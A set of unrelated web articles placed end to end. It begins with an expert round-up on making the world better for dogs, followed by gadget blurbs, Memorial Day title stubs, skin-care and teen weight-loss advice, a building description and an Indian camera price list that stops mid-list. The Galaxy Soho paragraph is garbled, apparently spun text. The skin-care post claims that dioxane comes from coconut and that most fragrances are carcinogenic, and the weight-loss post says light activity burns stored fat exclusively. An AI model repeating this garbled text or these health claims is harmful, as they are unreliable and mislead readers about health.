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How to Make the World Better for Dogs

Dog experts – including Marc Bekoff, Jean Donaldson, Alexandra Horowitz, Ilana Reisner, Kathy Sdao and Pete Wedderburn – weigh in on the one thing that would make the world better for dogs.

Photo: Bad Monkey

We love our canine friends. But at the same time there are lots of things we, as a society, could do to make dogs happier. So I asked several experts on dogs to answer the question, “What’s the one thing that would make the world better for dogs?”

Read on to see what they had to say. And if you’re a cat person, you should also check out how to make the world better for cats.

Marc Bekoff, PhD 

Writer on dogs and other aspects of the cognitive and emotional lives of other animals for Psychology Today and the author of numerous books including Canine Confidential: Why Dogs Do What They Do (March 2018, University of Chicago Press). Website marcbekoff.com (Twitter)

Marc Bekoff on how to make the world better for dogs
“Let dogs be dogs.”

Let dogs be dogs. Let’s appreciate them as individuals with unique personalities. Let them exercise their noses and all of their senses when they’re home and out and about. Let them play with their friends and do zoomies to their heart’s content. To appreciate what it’s like to be a dog, we need to understand how they see, hear, touch, taste, and most of all, smell. We’re most fortunate to have dogs in our lives, and we must work for the day when all dogs are most fortunate to have us in their lives. In the long run, we’ll all be better for it.”

Kristi Benson, CTC 

Owner/operator at kristibenson.com and Coach and Mentor at The Academy for Dog Trainers. (Twitter, Facebook)

Kristi Benson on how to make the world better for dogs

“If things are tough and what you’ve tried isn’t helping, reach out now. It gets better.”

“Oh, what a tough question to answer! Can’t I get a top ten? I think the one thing that would make the world better for problem dogs would be if their owners could take a page from the youth LGBT movement: namely, recognize that it gets better. If your dog is aggressive, scared, or destructive; or embarrassing, jumping up and playing deaf…I promise it can almost certainly get better. Your dog can get better and your relationship with your dog can get better. If you can commit to training your dog, however this ends up looking—taking a reactive rover class or working one-on-one with a qualified trainer, for example—there is help to be had. And when you come out on the other side with new skills for both human and canine, a slightly different set-up at home, and some treats in your pocket, you’ll be amazed that such a colossal change was even possible. So if things are tough and what you’ve tried isn’t helping, reach out now. It gets better.”

Mia Cobb

PhD Candidate at the Anthrozoology Research Group, Monash University, director of Working Dog Alliance, and blogger at Do You Believe in Dog? (Twitter, Facebook)

Mia Cobb on  how to make the world better for dogs
“if people stopped to consider things (all the things!) from the canine point of view.”

“I think the world would be better for dogs if people stopped to consider things (all the things!) from the canine point of view. Dogs in companion and working roles are often put into situations they wouldn’t choose for themselves. We can improve dogs’ quality of life by considering our decisions that impact them – how long we leave them alone each day, where they live, what training techniques we use, how we transport them, what we expect them to tolerate (from interactions with children, to dress ups and involvement in other human pursuits – like sky diving) and ask ourselves at every step, “is this what my dog wants to do, if given a choice?” Not all situations where our dogs would choose differently are avoidable (e.g. temperature taking at the vet clinic) but people should consider dogs and the way their lives are lived from the canine perspective. To see dogs as individuals who can experience a range of emotions with the capacity to suffer or thrive, both physically and mentally, based on the decisions we make about their lives – rather than just assuming that dogs like what we like, or that they are there to meet our whims, provide us with utility benefit or be our entertainment – would be a huge advance for many dogs in our world.”

Jean Donaldson

Director of The Academy for Dog Trainers and author of books including Culture Clash, Train Your Dog Like a Pro and Mine! A Practical Guide to Resource Guarding in Dogs. (Jean’s twitter; Academy on Twitter, Facebook)

Jean Donaldson on how to make the world better for dogs
“I’m going to go with enshrinement into law of basic Dog Rights.”

“It’s tough to narrow it down to one thing, but I’m going to go with enshrinement into law of basic Dog Rights, rather like the UN’s Universal Declaration of Human Rights. This law would include basics such as freedom from frank abuse, pain and suffering, as well as shelter and soft bedding, freedom to move around, good food and medical care. But it would also include the right to engage in species-normal behaviors – sniffing, playing, chewing, interacting with other dogs if they wish, and corollary education documents so that people who keep dogs as companions or work with dogs recognize fear, worry, distress or other signs that a dog is not thriving. This would help people voluntarily comply. And if it doesn’t count as a second thing, let’s have vigorous enforcement worldwide.”

Sam Gaines, PhD 

Head, Companion Animals Department, RSPCA, (Sam’s Twitter; RSPCA on Twitter, Facebook, Instagram)

Sam Gaines on how to make the world better for dogs
“Think Dog!…many owners/guardians continue to treat dogs either as wolves or little people and/or fail to understand and acknowledge what dogs actually are.”

“Think Dog! Despite a wealth of research into the domestic dog and a greater understanding of how they behave, think, feel and interact with us and their peers, many owners/guardians continue to treat dogs either as wolves or little people and/or fail to understand and acknowledge what dogs actually are. This can have a huge impact on their physical and mental health. For example, decades of thinking of dogs as wolves has contributed to a widespread use of management and training techniques which place dogs at serious risk of poor welfare. Similarly our failure to understand what it is to be a dog and what constitutes normal behaviour can mean a poor quality of life through lack of outlets for strongly motivated behaviour such as playing, sniffing and investigating. If dogs really are our best friends and we want them to be truly happy then we have to think dog.”

Taryn M Graham, MA

PhD Candidate at Department of Community Health Services, University of Calgary. (Twitter)

Taryn Graham on how to make the world better for dogs
“if we could address the underlying factors that contribute to their relinquishment.”

“One thing that would make the world better for dogs is if we could address the underlying factors that contribute to their relinquishment. Behavioural concerns and housing issues are among the main reasons why people give up their pets. I wish people would acquire dogs not based on physical appearance or on latest trends, but rather, by going through a reputable source to find the right dog that matches one’s personality and lifestyle. Reputable sources can provide support for dog owners, with many going as far as partnering with local dog trainers and veterinarians. Finally, to keep dogs and their owners together, I wish rental housing policy would consider pets as part of people’s families. Dogs are often banned from rental housing, which impacts people’s capacities to keep and care for them. “

How to make the world better for dogs, like this cute puppy looking up at the camera
Photo: Bad Monkey

Naomi Harvey, PhD

Research Fellow, Itchy Dog Project, School of Veterinary Sciences, University of Nottingham (Twitter)

Naomi Harvey on how to make the world better for dogs
“Proper socialisation and habituation when young; this simply cannot be emphasised enough.”

“Proper socialisation and habituation when young; this simply cannot be emphasised enough. Careful, positive exposure to all of the aspects of the human world they can expect to encounter as adults can greatly reduce their fearfulness when adults and help your dog to be emotionally stable and cope with the world it will live in. An important aspect of this is getting them used the vet clinics, by visiting regularly for simple weight checks and rewarding them whilst there, habituating them to traffic, and the sounds of parties and fireworks etc. Appropriate socialisation with different types of people, children and dogs (again conducted carefully to ensure a positive experience) will also help your dog to cope with the social world and be better adjusted for its life-course.”

Julie Hecht, MSc

PhD student at The Graduate Center, CUNY and blogger at Scientific American DogSpies and at Do You Believe in Dog?  (Website http://dogspies.com/, Twitter, Facebook)

Julie Hecht on how to make the world better for dogs
“Create space to question assumptions and bring in new and ever-evolving information.”

“The Dog is not set in stone. In the 21st Century, we live off the Internet. With the click of a button, we can find a plethora of information — as well as misinformation — about dogs. For the love of a dog, to quote Dr. Patricia McConnell, I hope that people continually take a step back. Try and notice everyday assumptions and expectations about dogs, however small, and then consider holding on to them a little less tightly. Our beliefs about dogs needn’t be set in stone because The Dog is not a stagnant, all-known being. Create space to question assumptions and bring in new and ever-evolving information, particularly from researchers, veterinarians, practitioners, and science communicators who are doing the same. This, I believe, has the potential to enhance individual dog well-being.”

Jessica Hekman, DVM PhD

Postdoctoral Associate at the Karlsson Lab in the Broad Institute of Harvard and MIT and blogger at The Dog Zombie. (Website http://www.dogzombie.com/, Twitter, Facebook)

Jessica Hekman on how to make the world better for dogs
“I’d love more dog lovers to become aware of the problems with how we breed dogs.”

“We can make the world better for dogs by making dogs who fit into the world better. I would love to see dog owners draw a line in the sand and insist on dogs with muzzles long enough to let them breathe normally, or dogs who are not born with a 60% chance of developing cancer at some point in their lives due to their breed, or dogs whose heads are too big for them to be born without a C-section. I’d love to see more breeders taking matters into their own hands and starting to experiment with how we breed dogs instead of continuing to use dogs from within breeds lacking in genetic diversity. I’d love to see more breed clubs supporting outcrossing projects to bring an influx of genetic diversity and healthy alleles into their breed. I’d love more dog lovers to become aware of the problems with how we breed dogs – how even the most responsible breeders breed dogs! This year, it is time for change.”

Christy Hoffman PhD 

Assistant Professor in the Department of Animal Behavior, Ecology, and Conservation and Director of the Anthrozoology Master’s program at Canisius College.  (Facebook)

Christy Hoffman on how to make the world better for dogs
“more work needs to be done to keep dogs with people who love them but need assistance.”

“The animal shelter community has made tremendous strides toward reducing the number of dogs living in animal shelters; however, more work needs to be done to keep dogs with people who love them but need assistance. The world would be better for dogs if more dog owners knew about pet retention resources in their communities. Let’s face it, any of us could fall on hard times, making it a struggle to care for our dogs. Fortunately, many communities have pet food pantries, low-cost veterinary services, and affordable, pet-friendly housing options for people in financial distress, but these services are not helpful unless the people who need them know about them. Some of my students in Canisius College’s Anthrozoology Master’s program spent the past month compiling information about pet retention resources in their communities. Many found that excellent resources existed, but locating those resources typically required making multiple phone calls, sending many e-mails, and even making in-person visits to organizations. My students realized that people experiencing financial crises may not have the time and technology required to track down hard-to-find resources. This project helped my students and me realize that connecting information about pet retention resources with the dog owners who need them would be a way to make the world better for dogs.”

Alexandra Horowitz, PhD 

Barnard College, Columbia University and the Horowitz Dog Cognition Lab, author of books including the bestselling Inside of a Dog: What Dogs See, Smell, and Know and Being a Dog: Following the Dog Into a World of Smell. (Website https://alexandrahorowitz.net/, Twitter, Facebook, Instagram). Photo credit Vegar Abelsnes.

Alexandra Horowitz on how to make the world better for dogs
“Let them sniff… Their world is made of scents more than sights.”

“Let them sniff. Perhaps because we humans are so visually-centered, it’s hard for us to imagine what it might be like for our primary sensory ability to be olfaction. But that’s how it is for dogs: they sniff first, and ask their eyes to confirm or deny. Their world is made of scents more than sights. As a result, when they agreeably head out with you for a walk, the two of you are experiencing parallel universes: we see what’s on the street; the dog smells who’s passed by and who is upcoming (on the breeze). Since humans are generally averse to closely smelling things — in fact, we find the idea of “smelling” one another funny or even rude — some owners discourage dogs from doing that — from sniffing one another or the traces other dogs have left. But that is the dog’s whole world. I would no more pull my dog away from a street corner he is mightily investigating than I would force my son to stare at his knees as we drive by the Colosseum. Acknowledging the dogs’ otherness — and in this case, his different way of perceiving the world you share — is a good step toward giving them the life they deserve.”

How to make the world better for dogs, with answers from experts including Marc Bekoff, Jean Donaldson, Alexandra Horowitz, Kathy Sdao and Pete Wedderburn. Illustrated by a cute, happy puppy
Photo: Bad Monkey

Kim Monteith, CTC

Manager, Animal Welfare, BC SPCA. (Kim’s Twitter; BC SPCA Website http://spca.bc.ca/  and Twitter, Facebook, Instagram)

Kim Monteith on how to make the world better for dogs
“The one thing I believe will make the world a better place for dogs is standards in dog training.”

“The one thing I believe will make the world a better place for dogs is standards in dog training. The dog training business is unregulated which means any one can take a course, hang a ‘professional trainer’ sign on their door, and give advice. This lack of accountability often results in information and training that is either ineffective, wrong and/or abusive. Every day I see dogs who suffer from training, handling and even owner expectations, along with owners who feel guilty because they’re told to use techniques and tools that scare and hurt their dog. I truly believe owners don’t want to hurt or scare their dogs and people get into the business of training to help dogs and have good intentions. It’s the nonexistence of regulations that allow even the trainers to be misguided and misinformed. If we want to do better for dogs, demand training based on the science of learning theory and seek out trainers with the knowledge and skills to train both dogs and people using humane methods. If we bring dogs into our lives we owe it to them to do better by them. Until we have standards, remember we may not know what dogs are thinking, however we know they experience fear and anxiety, so have empathy when you’re handling, caring for and training a dog.”

Tamara Montrose, PhD

Programme Manager MRes Animal Behaviour and Welfare and BSc Hons Animal Behaviour and Welfare, Hartpury College.  (Twitter)

Tamara Montrose on how to make the world better for dogs
“Greater use of sensory enrichment would be beneficial for shelter dogs, to reduce stress.”

“Large numbers of dogs are kept in rescue shelters which are often stressful environments for the residents. I believe that greater use of sensory enrichment, such as classical music and audiobooks, would be beneficial for shelter dogs to reduce stress and potentially improve welfare. Such enrichment also tends to be easily applied and relatively inexpensive which is an important consideration in shelters. In addition, using sensory enrichment that is not only beneficial to dogs but also appreciated by visitors may have the potential to encourage them to spend more time at the shelter and potentially help adoption rates.”

Kate Mornement, PhD

Pets Behaving Badly – Solutions with Dr. Kate. (Website http://petsbehavingbadly.com.au/, Twitter,  Facebook)

Kate Mornement on how to make the world better for dogs
“if every dog owner understood that their dog’s behaviour, good and bad, is motivated purely by consequences, not their dogs desire to be “leader of the pack”.”

“The world would be a better place for dogs is if every dog owner understood that their dog’s behaviour, good and bad, is motivated purely by consequences, not their dogs desire to be “leader of the pack”. The myth that we must dominate dogs, or else they will assume the alpha position, is outdated and incorrect. Thanks to a recent explosion in the depth and breadth of canine research over the last 15 years, our understanding of dogs has improved dramatically. We now know that dogs are not trying to be the boss; they just do what works for them. Behaviours that have a desired consequence are repeated whereas behaviours that don’t tend to stop. It’s the same for us humans and, in fact, every other living being on the planet! This is why positive reinforcement training is so effective. When dogs (and other animals) are reinforced with things they like for desired behaviour, they quickly learn to repeat those behaviours. Recent science has also taught us that physically punishing dogs (smacking; popping the check chain) for undesired behaviour can adversely affect their welfare and the human-animal bond and punishment doesn’t teach the dog what to do instead. Unfortunately, this relatively new understanding of dog behaviour, learning and training has not become common knowledge amongst the general population and the old paradigm persists. It’s up to those of us who have this new understanding of dogs to share our knowledge far and wide to make the world a better place for dogs.”

Ilana Reisner, DVM PhD DACVB

Reisner Veterinary Behaviour and Consulting Services (Website http://www.reisnervetbehavior.com/, Twitter, Facebook)

Ilana Reisner DAVCB on how to make the world better for dogs
“We are capable of making choices; choosing to train dogs with kindness and generosity is an important one.”

“We can make the world better for dogs by recognizing that we are ultimately responsible for everything they experience, from their eating and elimination schedule, to their exercise and access to both wonderful and frightening things. Once we recognize that we humans are responsible for all of it and that dogs are powerless animals whose welfare depends on us, kindness and consideration naturally follow. Dogs make choices when they have the opportunity – to be warm, well fed, near the people and animals to whom they’re attached (an important one!), and to be safe; we humans are the ones to present those opportunities. Force-free behavior modification then makes sense: if you want to influence what a dog does, offer appropriate choices, give the dog time to choose, and reinforce the behavior you want. If the dog makes the wrong choice, try again – don’t punish. Punishment leads to stress and unravels trust so that choice-making is inhibited. We are also capable of making choices; choosing to train dogs with kindness and generosity is an important one.”

Kathy Sdao, MA

Bright Spot Dog Training and author of Plenty in Life Is Free: Reflections on Dogs, Training and Finding Grace (Website http://www.kathysdao.com/, Twitter) Photo credit Michael Hanson.

Kathy Sdao on how to make the world better for dogs
“I’d ask humans to take their dogs’ misbehaviors less personally.”

“If I got to choose just one thing that would make the world better for dogs, I’d ask humans to take their dogs’ misbehaviors less personally. Your dog isn’t trying to be boss or ruin your day; he’s trying to get his needs met. Imagine if each training challenge we faced – to create a more responsive, cooperative, civilized dog – was viewed as our invitation to become more curious about how behavior functions and changes. Then every lunging, barking or biting dog would be recognized as a learner, evolutionarily prepared to adapt his behavioral repertoire to the changing environment. What freedom we’d have to stop punishing and to start exploring the joy of true dialogue with another species.”

Pete Wedderburn, BVM&S CertVR MRCVS 

Media veterinarian and author of books including Pet Subjects: Animal Tales from the Telegraph’s Resident Vet. (Website https://www.petethevet.com/, Twitter, Facebook, Instagram)

Pete Wedderburn on how to make the world better for dogs
“If humans started to breed dogs with good health as the only priority.”

“If humans started to breed dogs with good health as the only priority. Currently, dogs are bred to meet human ideas of cuteness, with flattened noses, bulgy eyes, short legs, and an assortment of other physical features. Often these physical features cause ill health and suffering, such as the difficulties brachycephalic dogs have with breathing (who doesn’t know a snorting, snuffling Bulldog?) with many other examples too. Meanwhile pedigree dogs are also, by definition, in-bred, from a small pool of animals of the same breed, and this directly causes an increased incidence in some illnesses (such as cancer in Flat Coated Retrievers). If humans stopped worrying so much about the cute appearance and “breed pureness” of puppies, the resulting canine population would be healthier, and the dogs would be happier too.”

Carri Westgarth, PhD

Tenure Track Research Fellow at the Department of Epidemiology and Population Health, Institute of Infection and Global Health and School of Veterinary Science, University of Liverpool. (Twitter, Facebook) 

Carri Westgarth on how to make the world better for dogs
“One thing I think would make the world better for dogs is if they all got taken for an off-leash walk every day.”

“One thing I think would make the world better for dogs is if they all got taken for an off-leash walk every day. There is no greater joy as a dog owner than to see bum tucked under, head back, doing zoomies across the grass. So many dogs don’t get this opportunity. Perhaps their owners don’t have access to a suitable and safe environment to walk them in this way, or don’t have enough time in their busy schedules. Perhaps they are struggling with their dog’s behaviour on walks and having to confine them to a lead, a vicious circle. Most worryingly to me, many dogs are incapable of running around due to the conformation they have been bred with, or most commonly the fact that they are overweight. In order to run around like this and experience this joy of what it is to be a dog, fitness and lean body condition are key. We often think about obesity being caused BY lack of exercise, but it is also a massive cause OF lack of exercise. When I worked as an Assistance Dog trainer, we sometimes had to manage dogs through a weight loss programme. It was amazing seeing both the physical and mental transformation from pudgy plodder to lithe racer. If my wish could be achieved, both dogs and their owners would live much happier lives.”

If you like this post, please share with friends and family. Together we can make the world better for our canine friends!

What’s the one thing you think would make the world better for dogs?

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SmartFaucet from iHouse – New Gadget in Your Bathroom


Internet and high-tech gadgets have already penetrated in our life to an unbelievable level: cameras in belts, Bluetooth watches, electronic car keys finders and high technology is coming to our kitchens and bathrooms. iHouse presents a new gadget along its cell phone controlled bathtub that prepares an excellent bath with an only one phone call – SmartFaucet – which is one of those devices that are necessary, but the word “smart” makes it different from the ordinary faucets.
The SmartFaucet by iHouse is highly convenient due to its characteristics: it has a face recognition technology. The essence of this technology is the following: the camera recognizes you and the faucet remembers different temperature settings for each member of your family and automatically adjusts the temperature of the water to the preferred level. The water is heated with a built-in internal heating coil, and, moreover, there are LEDs which change the color of the water from blue to red to show its temperature.
Additionally, a completely new feature, the users will have the access to their e-mail. There is a touchscreen display on the faucet which enables you to check your calendar, e-mail and the outside temperature.
There is no information concerning the SmartFaucet availability and price, but we may suppose it would be rather expensive.

Source: www.gadgets-reviews.com

Memorial Day 2015 History – Origin of Memorial Day

Memorial Day 2015 History – Origin of Memorial Day

#MemorialDay2015 #History – #Origin of Memorial Day
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Top Secrets to Healthy Looking Skin – You Probably Know Them But You Don’t Do Them

Top Secrets to Healthy Looking Skin

The skin is made up of cells that rely on collagen, elastin and hyaluronic acid for its health. As you grow older, your skin starts to sag and have wrinkles. However, you can counter aging by spending more time in taking care of your skin. Here are some secrets to healthy looking skin.

Top Secrets to Healthy Looking Skin - You Probably Know Them But You Don't Do Them

How You Maintain Your Skin’s Health

How you clean your skin affects its health. One of the secrets to healthy looking skinis proper washing. Do not overdo it but do not let the day pass by without washing. Get a gentle soap and wash your face in the morning and at night. If you have oily skin, running water would suffice because products may just make it oilier.

The need for a good moisturizer is not a secret if you want healthy looking skin. You should definitely use moisturizer if you apply makeup often. Some of them may have ingredients that could dry up the skin. Plus, you can consider your habits that cause dehydration.

In addition, the desire to look good all the time may make you use various products. One of the secrets to healthy looking skin is to avoid substances that could harm it. If you cannot avoid using facial wash, toners and creams, make sure that they do not have dioxane, fragrances, alcohols and parabens.

Dioxane is a chemical; a derivative of coconut but is produced synthetically. It is harmful and may even cause cancer. Skin care products definitely attract lots of consumers.

Who wouldn’t want to apply something that smells so good on them?

However, most fragrances for skin care products are made from carcinogenic or toxic ingredients. They are dangerous when applied directly to the skin. Moreover, most skin care products are rich in alcohols like ethyl, methanol and ethanol.

They cause dryness and may even irritate the skin. Lastly, parabens like butyl and methyl are used as a preservative for skin care products. Avoid them to avoid allergic reactions and cancer.

What You Eat

What you eat is reflected in your skin. One of the secrets to healthy looking skin is a healthy diet. Eat foods low in fat and rich in fibers, proteins, vitamins and minerals (particularly calcium).

What You Do

Some secrets to healthy looking skin have something to do with what you do. Do you smoke? Are you stressed every day? Do you go out during the day without sunscreen? If your answer is yes then don’t be surprised if your skin is not healthy. Therefore, make it not just a habit but a lifestyle to live life healthily and everything, including your skin, will all be well

Memorial Day 2015 Travel Destinations

Memorial Day 2015 Travel Destinations

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Smarty Ring: Probably the Best Wearable Gadget so Far


Revolution has began to come in the world of Electronic devices. From Google Glasses to Smart Watches, wearable computing devices are clearly a latest trend and it appears everyone has a wearable concept for the days to come. Smarty Ring is one of the latest wearable device.

Smarty Ring, a wearable ring that allows you to control your digital life right from your finger.

But what exactly is the Smarty Ring and what does it do?

Smarty Ring is a wearable ring, which is the first of its kind, and has been devised to allow its users to check alerts from their smartphone and manage calls right from their finger using Bluetooth 4.0 connectivity; it ensures that you don’t miss any significant text or any Facebook update. 

It has some pretty notable features like, users can manage the settings for their Smarty Ring from a mobile app, and can even use the device as a watch, timer or phone finder for instance, if a user walks more than 30 meters from his phone, the ring will beep to warn them. 

It is made of stainless steel and its battery life is 24-hours. It also has a wireless charging base which users may use to charge their Smarty Ring. It supports both Android and iOS devices but they should have Bluetooth 4.0 compatibilities.

Some other specifications are,

  • Call notifications
  • SMS and email notifications
  • Social media updates
  • Accept or reject incoming calls
  • Make outgoing calls to preset numbers
  • Trigger camera
  • Control music
  • Change profile

7 Proven Weight Loss Tips for Teenagers

Healthychildren.org reports that obesity affects more than 9 million children and teenagers in the United States. Physical activity, a balanced diet and practicing a healthy lifestyle help teenagers lose and maintain weight to avoid or combat weight-related conditions like obesity. A sedentary lifestyle and poor dietary practices are the primary cause of excess weight in teenagers. Too much computer time or video game and fast food eating encourages unhealthy habits.

Low-Intensity Activity

Maximize the amount of low-level activity that you perform every day. Low-level activity includes a brisk walk or bike ride. This type of activity relies exclusively on burning stored fat for energy. Teenagers can burn more fat by walking to school and parking or getting dropped off further from campus. Only sit down when you have to while you are at school and keep moving the rest of the time. Engage in movement-oriented leisure activities like a trip to the mall instead of sedentary activities like going to the movies.

Daily Exercise

Teenagers need at least 60 minutes of exercise or physical activity. Participate in team or individual athletics in school or community programs. Make sure your class schedule includes a fitness component such as weight lifting or physical endurance activities. Household chores like scrubbing, dusting or washing windows also provide a good dose of physical exercise you can get every day.

High-Repetition Circuit

Teenagers can lose weight by practicing a high-repetition weight-training circuit. Include a compound upper-body pushing exercise, upper-body pulling exercise and lower-body pushing exercise in each circuit. Complete four to five circuits per workout three to four times a week. Perform 20 to 25 repetitions of each exercise back-to-back without resting to complete each circuit. High-repetition circuits mobilize fat for energy and boost your metabolism, which increases the amount of fat that you burn during daily low-intensity physical activity.

Avoid Stress

Avoid stress, frustration and boredom to reach your weight-loss goal. Schoolwork, parents, romantic relationships and problems with friends may contribute to teenage stress. Control the amount of extracurricular activities that you are involved in. Get at least eight hours of sleep every night. Practice relaxation techniques like deep breaking, yoga and meditation. Control negative thoughts and reinforce optimism in your daily thinking patterns.

Eat Breakfast

A healthy and nutritious breakfast can help teenagers lose weight. Breakfast helps get your metabolism moving and supplies energy for physical activity, so you start burning fat early in the day. A nutritious breakfast may include a serving of fruit, vegetables, whole grains and lean meat. A hearty and nutritious breakfast also helps prevent hunger later in the day.

Limit Fats and Sugar

Eliminate or limit the amount of fatty and sweet foods that you eat. Foods that contain high concentrations of saturated fat such as fries and potato chips have disproportionate amounts of nutrients. These foods encourage over-consumption, because they contain too many ingredients that your body stores as fat and do not contain enough nutrients to supply you with energy throughout the day.

Gradual and Steady

Avoid trying to lose weight too quickly with fad and extreme dieting. Balance the amount of calories that you eat with the amount of energy that you expend each day. A pound of fat contains approximately 3,500 calories, so you can lose 1 lb. a week by reducing your daily caloric intake by 500 calories. Gradual weight loss supports sustainable lifelong weight control for teenagers.

Galaxy Soho Building, Beijing, China

Galaxy Soho Building, Beijing

Given China’s famous name in further rapid structural stature, there is no storm, 2012 sentencing soon, this unruffled fresh Beijing central municipality building.

Galaxy SOHO geographical atmosphere gives superior washed-up a sort of evils of transit. Galaxy SOHO is situated in Dongzhimen transit core, plus sat on numerous bus paths also subway courses 2 plus 6, is a truly useful airport further arena expressway chain. Galaxy SOHO subterranean mercenary region connected to the subway hall.

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Best Digital Cameras in India with Prices


 Canon PowerShot G12

canon powershot g12 Best Digital Cameras in India with Prices
The Canon PowerShot G12 is the 2010 version of Canon’s premium compact camera, aimed at the DSLR owner looking for a backup model or the enthusiast who wants DSLR functionality without the added size and weight. The new Canon G12 inherits most of the core features of its predecessor, the G11 – 10-megapixel CCD sensor, 2.8 inch vari-angle LCD screen, 5x, 28-140mm equivalent zoom lens, RAW image capture, optical viewfinder, 4.2fps burst mode, flash hotshoe, 1cm macro mode, ISO 80-3200 and full range of manual shooting modes. Brand new additions to the G12 include 720p HD video recording, a front control dial, hybrid image stabilisation system, multi-aspect shooting, High Dynamic Range mode, an electronic level, SDXC card compatibility and an optional Lens Filter Adapter. The Canon Powershot G12 is available in black priced at approx 30k – 35k Indian Rupee / £539 / €649 / $499.99.
Pentax Optio H90
optio h901 Best Digital Cameras in India with Prices
The Pentax Optio H90 is a new budget compact camera with style, sporting a retro look developed under Pentax’s new ‘functional beauty’ concept. In addition to its unusual looks, the entry-level Pentax H90 offers a 12.1 megapixel image sensor, 5x optical zoom lens with a focal range of 28-140mm), a 2.7 inch LCD, Face Detection system that recognises up to 32 faces plus Smile Capture and Blink Detection, compatibility with Eye-Fi wireless memory cards, and even 720p HD movie recording. Available in three different two-tone colour schemes, the Pentax Optio H90 costs at approx. 10,000 Indian Rupees / £129.99 / $179.95.
Fujifilm FinePix F80EXR
fujifilm finepix f80exr Best Digital Cameras in India with Prices 
The Fujifilm Finepix F80EXR is a pocket camera offering lots of advanced functionality at a competitive price. Replacing last year’s F70EXR model, the F80 EXR has a new 12 megapixel, 1/2-inch Super CCD EXR sensor with three selectable EXR modes which essentially turns it into three kinds of camera in one. One mode captures the highest resolution possible, another the lowest noise, and the third the best dynamic range, with the F80EXR also able to automatically choose the most suitable for the current scene. In addition to this innovative sensor technology, the Fujifilm F80 features a 10x zoom lens (27-270mm equivalent) with a CCD-shift dual image stabilisation system, larger 3 inch LCD screen, HD movie capture at 720p, Face Detection and Recognition technologies, Super Intelligent Flash mode for flash-assisted macro shots, Pro Focus Mode and Pro Low-light modes which take advantage of the F80EXR’s multi-frame technology, and sensitivity settings of up to ISO 12800. The F80EXR also offers creative exposure modes in the form of aperture-priority and full manual, as well as a range of auto modes for the less experienced – there’s even a new Pet detection mode. The Fujifilm Finepix F80EXR retails prices are approx. 10,000 Indian Rupees / £229.99 / $299.95.
Samsung PL150
Samsung PL150 front Best Digital Cameras in India with Prices
The Samsung PL150 (also known as the TL210) is a new 12 megapixel point and shoot camera with a twist – it has a second 1.5 inch LCD screen on the front which makes it much easier to take self-portrait pictures and videos. As part of this DualView system the PL150 also offers a large 3 inch rear LCD screen, plus there’s a 5x, 27-135mm lens, 720p high-definition video recording, and a clever Smart Auto mode which automatically chooses from 16 different scene settings. The Samsung PL150 / TL210 is available in black with red or blue highlights, priced between 10,810 to 11,990Indian Rupees / £179.99 / $229.99.
Panasonic Lumix DMC-LX5
Panasonic Lumix DMC LX5 Best Digital Cameras in India with Prices 
The Panasonic Lumix DMC-LX5 is the much-anticipated successor to the LX3, a compact digital camera that proved especially popular with experienced photographers due to its fast lens, full range of manual shooting modes and RAW file support. The new LX5 aims to build on the success of its predecessor with a new 3.8x, 24-90mm zoom lens, large 1/1.63-inch 10 megapixel CCD sensor and HD movie recording with Creative Movie Mode for adjusting both the shutter speed and aperture. Other key improvements to the LX5 include a re-designed user interface, Power OIS anti-shake system, Intelligent Resolution technology and an optional electronic viewfinder. The Panasonic Lumix DMC-LX5 is available now in black or white for approx. 32,868 Indian Rupees / £449.99 / $499.95.
Samsung WB2000
00759 samsung wb2000 Best Digital Cameras in India with Prices 
The Samsung WB2000 (also known as the Samsung TL350) is a new 10 megapixel compact camera aimed at serious photographers. The pocketable WB2000 features a 1/2.4-inch high-speed Back Side Illuminated CMOS sensor that provides 1,000fps shooting for videos and 10fps for still photos. In addition the Samsung WB2000 offers a 5x, 24-120mm ultra wide-angle lens, 3 inch AMOLED screen, manual control over exposure, ISO 80-3200, Dual Image Stabilization technology, Smart Range (High Dynamic Range), and even a RAW shooting mode. The Samsung TL350 is available in black for approx. 20,700 Indian Rupees / /-$349.99 / £319.99.
Fujifilm FinePix HS10
 Best Digital Cameras in India with Prices 
The Fujifilm FinePix HS10 is a new super-zoom digital compact camera with a long list of headline-grabbing features. Looking and handling like a DSLR, the bridge-style Fujifilm HS10 is one of only 2 digital cameras in the world to boast a 30x zoom lens. On the HS10, the lens covers a 35mm equivalent focal range of 24-720mm and also features mechanical image stabilisation and twist-barrel manual zoom and focusing controls. Other highlights of the camera include a 10 megapixel back-illuminated sensor, a 3-inch tilting LCD monitor, electronic viewfinder with eye-sensor for automatic switching, full 1080p HD movie recording with stereo sound, Super High Speed movie capture at 1000 fps, high-speed continuous shooting at 10fps, full manual controls and support for the RAW file format. The Fujifilm FinePix HS10 is available at the manufacturer’s suggested retail price of approx. 20000 to 23000 / £439.99 / $499.95 in the India, UK / US, respectively.
Olympus E-PL1
Samsung PL150 front1 Best Digital Cameras in India with Prices
The brand new E-PL1 is the third Micro Four Thirds camera from Olympus, following on from the E-P1 and E-P2 models which were launched in 2009. The Olympus E-PL1 is a more affordable mass-market camera, with a plastic rather than metal chassis, smaller and lighter body, and a redesigned user interface that’s simpler to use. The easy-to-understand, non-technical Live Guide provides direct on-screen control over key image effects like depth-of-field and sharpness, while the addition of a built-in flash makes the E-PL1 more versatile in low-light. Other key features of the E-PL1 include 12.3 megapixels, 2.7 inch LCD screen, sensor-shift image stabilisation, one-touch HD video recording, Supersonic Wave Filter for automated sensor cleaning, a sensitivity range of ISO 100-3200, 6 different Art Filters and 3fps continuous shooting for up to 10 raw images. The Olympus E-PL1 is available now in silver, black, blue, champagne gold and red at a retail price of 24000 – 28000 Indian Rupees / $549 body only, £549 / $599 for a single lens kit and £699 for a twin zoom kit.
Pentax K-r
pentax kr review Best Digital Cameras in India with Prices
The Pentax K-r is a new mid-range DSLR camera aimed at digital SLR novices and family users. The K-r combines the compact body and simplified layout of the cheaper K-x model with some of the advanced features of the prosumer K-7, most notably the auto-focus system and the LCD screen. The 12.4 megapixel Pentax Kr also has a few unique features of its own, including the fastest continuous shooting rate of any Pentax DSLR at 6fps, the widest ISO range (100-25600), infrared data transfer and support for AA and lithium-ion batteries. Other highlights of the K-r include an 11-point AF system with the active focus point shown in the viewfinder, 720p HD movies, high-resolution 3-inch LCD monitor, built-in shake reduction and anti-dust mechanism, dynamic-range expansion, in-camera High Dynamic Range, digital filters and a full range of automatic and manual shooting modes. The Pentax K-r is available in black, red or white and costs around 40,000 Indian Rupees / £599.99 / $599.95 with the 18-55mm DAL kit lens, and £699.99 / $849.95 with the 18-55mm DAL and 50-200mm DAL double kit lenses.
Canon EOS 7D
canon eos 7d dslr 1 Best Digital Cameras in India with Prices
